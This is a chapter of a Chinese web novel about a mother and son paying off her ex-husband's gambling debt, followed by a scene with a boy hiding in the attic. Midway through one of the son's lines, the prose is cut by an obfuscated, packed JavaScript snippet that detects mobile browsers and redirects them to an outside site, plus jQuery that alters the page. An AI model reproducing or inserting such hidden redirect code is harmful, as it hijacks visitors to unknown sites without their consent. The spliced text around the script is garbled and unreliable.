“两百五十多,”银行卡里的数额明明白白,严峻不好隐瞒,“白天卖零食还能赚个三十几块。” “……那还挺稳定的。”数一数盒子里的钱,恰好是两百九十多。严慧芳惊讶地叹口气,道:“这年头,工厂做的包子也这么多人买呀?哎,看来以后,早点的生意也不好做喽。” 她拉过凳子拍一拍,示意儿子坐下,随即把整理好的钱递过去:“收好,攒多了再拿去存——有这一笔钱,我们的债再过几年就可以还完了。” 把纸币攥到手心,严峻垂着头,沉声问:“现在还剩多少?” “八十六万。”严慧芳神色平静,“我现在当保姆,每个月一万八,吃住不花钱,只用给你阿婆买一点儿补品和药,能存下一万六千多。你这边每个月有七千,加起来就是两万三——照这样算,再有三年就还清了。” “可一年之后,如果我去上大学,就没人帮阿婆进货了。阿婆虽然勉强能自理,但身边是离不了人的,到时候谁来照顾呢?” 沉吟一会儿,严慧芳宽慰地笑笑:“实在不行……只能把她送到养老院了。找个四五千的,这个钱没法省。” 幽黄的灯泡在两人头顶上微微闪烁着,严峻看着脚下的阴影,两只手撑在膝头,不由咬紧了唇。这时,妈妈又笑一声,气息中透着无奈:“不说这个了——你期末考成绩怎么样?” “就那样呗。”严峻消极地回答。 严慧芳静静看着他,良久,长叹一口气:“小峻……虽然你们体育生不需要考太高分,但好歹也要过分数线呀。最后这一年,你还是要复习一下,好好考个大学……” “——我不想上大学了。”他垂着头,发旋定定的,没有抬起来的意思,“体育这条路本来就难走,我天赋不够顶尖,也不一定能拼出什么成绩。” “……那还可以当老师啊。” “当老师?一个月就那么五千多,还比不上阿婆卖包子呢!”冷哼一声,严峻终于抬起头,神色倔强:“如果我专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230599|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心做早餐,一天赚个500块不在话下!还有当老师的必要吗?” 望着儿子执拗的神情,严慧芳不禁苦笑:“小峻,话不是这么说的——你做早餐确实赚钱,但那赚的都是辛苦钱。晨昏颠倒、没有假期,想跟朋友吃餐饭都对不上时间,你要为了那点钱牺牲自己的生活吗?” 严峻倔强地咬唇看着别处,清瘦脸庞藏在阴影之中,沉默不语。 忍不住抬手抚摸他的后脑勺,严慧芳看着这个已经长到一米八的少年,语重心长道: “人总是要向上走的。有些事你要去试,不试怎么知道不行呢?实在爬不上去,你可以往后退一步;但如果一开始就满足于现状,以后再想往上走,就没有机会了哦?” 昏暗之中,严峻依旧不吭声,只不过脸上的执拗消散了些许。 见状,严慧芳欣慰地笑起来,摸摸他的脸,起身回房:“我准备回去了。卡里给你转了两千块钱,新学期买几件新衣服,别老想着省钱。” “不用……”严峻一歪头,躲开妈妈的触碰。严慧芳又笑:“我还不知道吗!你们这年纪最好面子了。该打扮就打扮,我只是欠钱,又不是不能赚。” 她转身走向房间,严峻亦步亦趋地跟上去,靠在门框上,注视着妈妈收拾东西。看着她略显消瘦的脊背,男生犹豫一会儿,问:“妈,我爸他……最近还有骚扰你吗?” “他呀,”收拾好背包,母子俩一齐往外走,“我现在住高档小区,他不知道地址,想骚扰也没办法。前阵子他倒是给我打了几个电话,但我没接,就发信息问他,是不是不用我帮他还那126万的赌债了?” 说着,严慧芳笑笑,转身望向儿子:“你放心,当年我婚都能跟他离了,姓都能逼着他给你改了,现在他更奈何不了我。以后他如果来找你,你直接报警,不用给他面子。” “……嗯。”严峻打开木门,正要送妈妈出去。不料,楼上突然传来两下脚步声,木板咚咚作响。 严慧芳疑惑地抬头望一望,又看向儿子:“什么声音?” 严峻的脸僵得失了血色:“是……是一只流浪猫!最近老跑来问我要东西吃。飞檐走壁的。” “哦,这样啊。”严慧芳不疑有他,背着包走进了夜色里。 - 把妈妈送上滴滴,严峻沿着黑暗的街道狂奔回来,几步跑上阁楼——假小孩果然起床了,此时正坐在椅子上,一边慢吞吞地吃饭,一边扭头瞅他。 严峻跑得气喘吁吁的,面颊微红:“你怎么、怎么现在才吃饭?” “……刚才不想吃。”秦一泽好像不生气了,放下筷子,双手环住膝盖,滴溜溜地注视着他。 严峻被看得不自在,色厉内荏地瞪起眼,粗声粗气的:“看我干嘛,吃饭啊!” “在吃了嘛!”假小孩哼哼着,低头扒两口饭,半晌又抬起眼,期期艾艾地伸手拽他:“哥哥,你过来坐。” 他把人拽到床边坐下,两人面对面,那双澄澈的桃花眼中隐隐透着心疼:“大姨……跟她老公,离婚了是吗?” 没想到这家伙全听见了,严峻下意识撇开脸,神情愈发生硬:“嗯。” “你做包子给阿婆卖,是为了帮大姨还债的,是吗?”假小孩支着一条腿,下巴搭在膝盖上,神情像一只关心主人的大狗狗。严峻忍不住推开他的脸,掩饰道:“你问这个干什么?不关你事。” 秦一泽却反手握住他的手掌,郑重其事地凑上前:“哥哥,明天让我多和几斤面吧!咱们做三百个包子,就能赚更多钱了!” “你连包子都包不好呢,怎么多赚钱?”这傻小子一本正经的,桃花眼瞪得溜圆,看得严峻失笑:“你快吃饭吧!我还等着洗碗呢。” “我自己洗!”假小孩却这样表示:“哥哥你去洗澡吧,不用管我。” 是不是真的啊?严峻难以置信地瞥他两眼,将信将疑地收拾衣服下了楼。